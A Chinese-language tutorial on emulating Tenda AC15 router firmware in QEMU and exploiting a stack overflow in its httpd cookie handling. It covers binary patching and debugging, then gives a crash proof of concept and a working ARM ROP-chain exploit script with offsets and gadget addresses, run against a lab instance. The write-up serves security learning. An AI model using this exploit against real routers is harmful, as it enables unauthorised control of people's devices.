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一、前言本文通过arm架构的路由器栈溢出漏洞为例介绍IOT固件分析以及arm架构下的栈溢出利用。漏洞产生的原因是未对用户的输入进行合理的限制而直接使用sscanf函数拷贝到栈上，从而引发的栈溢出的情况。
实验环境1、Ubuntu 18.04
2、qemu 2.11.1
3、ida pro 7.6
4、路由器固件：Tenda AC15 15.03.1.16_multi
5、固件下载地址：
https://drivers.softpedia.com/dyn-postdownload.php/d27e8410d32cd9de63a3506c47ded1bc/61ff85c5/75eb7/4/1下载固件后，通过binwalk工具导出固件文件系统，进入squashfs-root文件夹。
binwalk -Me US_AC15V1.0BR_V15.03.1.16_multi_TD01.rar
cd _US_AC15V1.0BR_V15.03.1.16_multi_TD01.rar.extracted/squashfs-root/使用readelf判断架构信息，为32位的小端arm架构。
使用qemu配合chroot启动/bin/httpd文件
sudo apt install qemu-user-static libc6-arm* libc6-dev-arm*
cp /usr/bin/qemu-arm-static .
sudo chroot ./ ./qemu-arm-static ./bin/httpd
发现输出"Welcome to..."字符串后程序未继续执行，使用ida搜索发现字符串三处引用，进入第一处索引。
通过对汇编代码的分析不难发现，只需为R3赋值大于等于1即可跳出死循环。
使用Keypatch工具修改对应汇编代码，并在Edit-->Patch program-->Apply patches to input file中保存修改后的文件。
替换掉原先的httpd文件并赋予执行权限后重新启动，发现如下报错
connect: No such file or directory
Connect to server failed.
connect cfm failed!重新回到ida中查询调用，发现第二处判断，修改R3的办法与上面相同这里就不多赘述。
再次执行程序，可以看到已经在正常监听端口了但是IP获取出现问题。
在网上查阅资料后发现问题点是名为get_eth_name的外部函数引起的，其定义库为libChipApi.so。
在本机建立虚拟网桥br0并重新执行程序
sudo apt install uml-utilities bridge-utils
sudo brctl addbr br0
sudo brctl addif br0 eth0
sudo ifconfig br0 up
sudo dhclient br0
sudo chroot ./ ./qemu-arm-static ./bin/httpd
可以看到获取到的已经是本机的ip地址，仿真完成。
三、漏洞利用在cve公布的poc中我们得知溢出点位于R7WebsSecurityHandler函数中，由于未对用户的请求进行合理的限制而直接使用sscanf函数讲用户输入复制到栈上。
而要想到达溢出点则需要满足url请求可以进入此if判断内，不难看出我们只要构造诸如"/goform/helloworld"即可进入if条件。
使用python脚本模拟请求令目标程序触发栈溢出崩溃。
import requests
URL = "http://192.168.107.142:81/goform/helloworld"
cookie = {"Cookie":"password="+"a"*0x400}
requests.get(url=URL, cookies=cookie)使用gdb-multiarch调试程序，首先修改程序启动命令
sudo chroot ./ ./qemu-arm-static -g 1234 ./bin/httpd然后启用调试工具并设置断点在函数退出时的地址。
gdb-multiarch ./bin/httpd
target remote :1234
b *0x002ED18
continue执行python脚本，发现程序并没有正常退出函数，而是断在了其他位置
使用bt命令查看调用路径，发现0x2c5cc在溢出后被执行，而这个子函数势必会干扰我们的利用。
回到漏洞函数中，我们发现如下代码，观察后发现只要我们的请求中包含诸如".png"的字样就可以直接令漏洞函数返回。
修改python脚本并重新进行测试，成功修改函数返回地址。同时发现填充的字符串最低位发生了变化，这是因为arm模式与thumb模式的切换问题。在函数退出时执行了pop pc的操作，而其最低有效位(LSB)将会被写入到CPSR寄存器的T位中，而pc本身的最低位则会被置零。所以我们在计算偏移的时候这个地方需要注意。
因为httpd开启NX保护的缘故，所以我们通过构造ropchain的方式完成利用。使用ropper工具从/lib/libc.so.0中查找所要用到的gadget，并且因为QEMU模拟并未开启地址随机化的缘故，所以我们可以在gdb中使用vmmap命令找到libc的基地址从而计算出我们需要的gadget。我这边选取了这俩段gadget来进行最终的利用。
0x00040cb8 mov r0, sp; blx r3;
0x00018298 pop {r3, pc};import requests
from pwn import *
base = 0xff5d5000
libc = ELF('./lib/libc.so.0')
puts = base+libc.sym['puts']
_str = "Hello\x00"
mov_r0 = base+0x00040cb8 # mov r0, sp; blx r3;
pop_r3 = base+0x00018298 # pop {r3, pc};
URL = "http://192.168.107.142:81/goform/helloworld"
pl = 'a'*448+p32(pop_r3)+p32(puts)+p32(mov_r0)+_str
cookie = {"Cookie":"password="+pl+".png"}
requests.get(url=URL, cookies=cookie)
通过此漏洞初步了解到IOT安全中固件分析的知识，拿来入门还是很好的。
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